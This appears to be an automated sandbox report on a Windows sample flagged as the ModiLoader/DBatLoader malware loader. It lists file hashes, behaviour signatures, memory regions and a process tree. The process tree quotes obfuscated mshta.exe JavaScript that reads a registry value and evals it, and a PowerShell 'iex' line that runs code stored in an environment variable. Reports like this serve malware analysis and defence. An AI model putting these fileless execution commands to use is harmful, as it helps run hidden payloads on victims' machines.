Analysis

  • max time kernel
    142s
  • max time network
    94s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240508-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240508-enlocale:en-usos:windows10-2004-x64system
  • submitted
    09-05-2024 11:14

General

  • Target

    29b186b6ed6a9261f44c9aa08ee7f711_JaffaCakes118.exe

  • Size

    431KB

  • MD5

    29b186b6ed6a9261f44c9aa08ee7f711

  • SHA1

    7e2c15c6478e2a8128601225b02c05b3f92b6a04

  • SHA256

    5ef7c5af865d614854130693eaac3e2644a9571b7822bfb4d5261e8ce539a102

  • SHA512

    ed843247f5eb2da2258abd6ecb84ed8262bf51ac52c5dd3ebf7a00c2d821385f083564490b3cbebb3171008a55828121499f6b54d234d94848749561f99dbb92

  • SSDEEP

    12288:ma/2anFpagJtRoqt2oFDGcHGjeskqkjQH:ma/tnGQt2oFDG95ke

Score
10/10

Malware Config

Signatures

  • ModiLoader, DBatLoader

    ModiLoader is a Delphi loader that misuses cloud services to download other malicious families.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • ModiLoader Second Stage 8 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\29b186b6ed6a9261f44c9aa08ee7f711_JaffaCakes118.exe
    "C:\Users\Admin\AppData\Local\Temp\29b186b6ed6a9261f44c9aa08ee7f711_JaffaCakes118.exe"
    1⤵
      PID:5016
    • C:\Windows\system32\mshta.exe
      "C:\Windows\system32\mshta.exe" javascript:nL2V3DEfH="3O2n7";PQ2=new%20ActiveXObject("WScript.Shell");Bxn0OOoaM="hK";yf0q8v=PQ2.RegRead("HKLM\\software\\Wow6432Node\\MIpo8H\\Io5jSH9t5");Y2SjrDfFv1="dzTSwOg";eval(yf0q8v);sob0i4hxJ="yaNao7l";
      1⤵
      • Process spawned unexpected child process
      • Checks computer location settings
      • Suspicious use of WriteProcessMemory
      PID:3612
      • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe" iex $env:bewmcpm
        2⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4628

    Network

    MITRE ATT&CK Enterprise v15

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_g0zelvk0.xyx.ps1

      Filesize

      60B

      MD5

      d17fe0a3f47be24a6453e9ef58c94641

      SHA1

      6ab83620379fc69f80c0242105ddffd7d98d5d9d

      SHA256

      96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

      SHA512

      5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

    • memory/4628-21-0x00000000049D0000-0x0000000004A06000-memory.dmp

      Filesize

      216KB

    • memory/4628-39-0x0000000006E40000-0x0000000006E5A000-memory.dmp

      Filesize

      104KB

    • memory/4628-38-0x0000000007490000-0x0000000007B0A000-memory.dmp

      Filesize

      6.5MB

    • memory/4628-37-0x0000000005DB0000-0x0000000005DFC000-memory.dmp

      Filesize

      304KB

    • memory/4628-36-0x0000000005D70000-0x0000000005D8E000-memory.dmp

      Filesize

      120KB

    • memory/4628-35-0x00000000058B0000-0x0000000005C04000-memory.dmp

      Filesize

      3.3MB

    • memory/4628-25-0x0000000005840000-0x00000000058A6000-memory.dmp

      Filesize

      408KB

    • memory/4628-24-0x00000000057D0000-0x0000000005836000-memory.dmp

      Filesize

      408KB

    • memory/4628-23-0x0000000004FF0000-0x0000000005012000-memory.dmp

      Filesize

      136KB

    • memory/4628-22-0x00000000050B0000-0x00000000056D8000-memory.dmp

      Filesize

      6.2MB

    • memory/5016-4-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-10-0x0000000002F50000-0x0000000002FA0000-memory.dmp

      Filesize

      320KB

    • memory/5016-18-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-17-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-16-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-15-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-14-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-19-0x00000000007A0000-0x0000000000860000-memory.dmp

      Filesize

      768KB

    • memory/5016-11-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-12-0x0000000000400000-0x0000000000471000-memory.dmp

      Filesize

      452KB

    • memory/5016-2-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-3-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-1-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-5-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-6-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-7-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-8-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-9-0x0000000002150000-0x0000000002151000-memory.dmp

      Filesize

      4KB

    • memory/5016-0-0x0000000002F50000-0x0000000002FA0000-memory.dmp

      Filesize

      320KB

    • memory/5016-40-0x0000000000400000-0x0000000000471000-memory.dmp

      Filesize

      452KB